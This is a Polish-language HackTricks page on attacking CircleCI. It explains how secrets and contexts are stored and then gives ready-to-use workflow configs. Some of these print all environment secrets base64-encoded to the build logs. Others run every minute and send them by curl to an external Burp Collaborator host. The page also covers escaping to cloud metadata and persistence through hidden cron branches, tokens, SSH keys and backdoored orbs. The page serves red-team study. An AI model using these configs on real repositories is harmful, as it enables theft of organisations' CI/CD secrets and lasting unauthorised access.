CircleCI Security
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
CircleCI to platforma Continuous Integration, na której możesz definiować szablony wskazujące, co chcesz, aby zrobiła z kodem i kiedy to zrobić. W ten sposób możesz automatyzować testy lub wdrożenia bezpośrednio z głównej gałęzi repozytorium na przykład.
Uprawnienia
CircleCI dziedziczy uprawnienia z github i bitbucket związane z konto, które się loguje.
W moich testach sprawdziłem, że tak długo, jak masz uprawnienia do zapisu w repozytorium na githubie, będziesz mógł zarządzać ustawieniami projektu w CircleCI (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI…).
Jednak musisz być administratorem repozytorium, aby przekształcić repozytorium w projekt CircleCI.
Zmienne środowiskowe i sekrety
Zgodnie z dokumentacją istnieją różne sposoby ładowania wartości do zmiennych środowiskowych w ramach workflow.
Wbudowane zmienne środowiskowe
Każdy kontener uruchamiany przez CircleCI zawsze będzie miał specyficzne zmienne środowiskowe zdefiniowane w dokumentacji takie jak CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME lub CIRCLE_USERNAME.
Tekst jawny
Możesz je zadeklarować w tekście jawnym wewnątrz komendy:
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
Możesz zadeklarować je w czystym tekście wewnątrz środowiska uruchomieniowego:
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
Możesz zadeklarować je w czystym tekście wewnątrz build-job environment:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Możesz zadeklarować je w czystym tekście wewnątrz środowiska kontenera:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Sekrety projektu
To są sekrety, które będą dostępne tylko dla projektu (dla każdej gałęzi).
Możesz je zobaczyć zadeklarowane w https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables
.png)
Caution
Funkcjonalność “Import Variables” pozwala na importowanie zmiennych z innych projektów do tego.
Sekrety kontekstu
To są sekrety, które są ogólnodostępne w organizacji. Domyślnie każde repo będzie mogło uzyskać dostęp do każdego sekretu przechowywanego tutaj:
.png)
Tip
Należy jednak zauważyć, że można wybrać inną grupę (zamiast Wszystkich członków), aby przyznać dostęp do sekretów tylko wybranym osobom.
To jest obecnie jeden z najlepszych sposobów na zwiększenie bezpieczeństwa sekretów, aby nie pozwolić wszystkim na ich dostęp, ale tylko niektórym osobom.
Ataki
Wyszukiwanie sekretów w czystym tekście
Jeśli masz dostęp do VCS (takiego jak github), sprawdź plik .circleci/config.yml w każdym repo na każdej gałęzi i wyszukaj potencjalne sekrety w czystym tekście przechowywane tam.
Zmienne środowiskowe sekretów i enumeracja kontekstu
Sprawdzając kod, możesz znaleźć wszystkie nazwy sekretów, które są używane w każdym pliku .circleci/config.yml. Możesz również uzyskać nazwy kontekstów z tych plików lub sprawdzić je w konsoli internetowej: https://app.circleci.com/settings/organization/github/<org_name>/contexts.
Ekstrakcja sekretów projektu
Warning
Aby ekstrahować WSZYSTKIE sekrety projektu i kontekstu, wystarczy mieć dostęp do ZAPISU do tylko 1 repo w całej organizacji github (a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu).
Caution
Funkcjonalność “Import Variables” pozwala na importowanie zmiennych z innych projektów do tego. Dlatego atakujący mógłby zaimportować wszystkie zmienne projektu ze wszystkich repo i następnie ekstrahować je wszystkie razem.
Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w konsoli logów internetowych workflow:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że używany jest CircleCI, możesz po prostu utworzyć workflow, który jest wyzwalany co minutę i wykrada sekrety do zewnętrznego adresu:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
Ekstrahować sekrety kontekstu
Musisz określić nazwę kontekstu (to również ekstrahuje sekrety projektu):
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że używany jest CircleCI, możesz po prostu zmodyfikować workflow, który jest wyzwalany co minutę i który wyprowadza sekrety na zewnętrzny adres:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
Warning
Samo utworzenie nowego
.circleci/config.ymlw repozytorium nie wystarczy, aby uruchomić budowę w circleci. Musisz włączyć to jako projekt w konsoli circleci.
Ucieczka do Chmury
CircleCI daje Ci możliwość uruchamiania swoich budów na ich maszynach lub na własnych.
Domyślnie ich maszyny znajdują się w GCP, a początkowo nie będziesz w stanie znaleźć niczego istotnego. Jednak jeśli ofiara uruchamia zadania na swoich własnych maszynach (potencjalnie w środowisku chmurowym), możesz znaleźć punkt końcowy metadanych chmury z interesującymi informacjami.
Zauważ, że w poprzednich przykładach wszystko uruchamiano wewnątrz kontenera docker, ale możesz również poprosić o uruchomienie maszyny wirtualnej (która może mieć różne uprawnienia chmurowe):
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
Lub nawet kontener dockerowy z dostępem do zdalnej usługi docker:
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
Utrzymywanie
- Możliwe jest tworzenie tokenów użytkowników w CircleCI do uzyskania dostępu do punktów końcowych API z dostępem użytkowników.
- https://app.circleci.com/settings/user/tokens
- Możliwe jest tworzenie tokenów projektów do uzyskania dostępu do projektu z uprawnieniami nadanymi tokenowi.
- https://app.circleci.com/settings/project/github/<org>/<repo>/api
- Możliwe jest dodawanie kluczy SSH do projektów.
- https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
- Możliwe jest tworzenie zadania cron w ukrytej gałęzi w nieoczekiwanym projekcie, które wycieka wszystkie zmienne środowiskowe kontekstu codziennie.
- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie wyciekać wszystkie konteksty i sekrety projektów codziennie.
- Jeśli jesteś właścicielem githuba, możesz zezwolić na niezweryfikowane orbsy i skonfigurować jeden w zadaniu jako tylną furtkę.
- Możesz znaleźć lukę w wstrzykiwaniu poleceń w niektórych zadaniach i wstrzykiwać polecenia za pomocą sekretu, modyfikując jego wartość.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

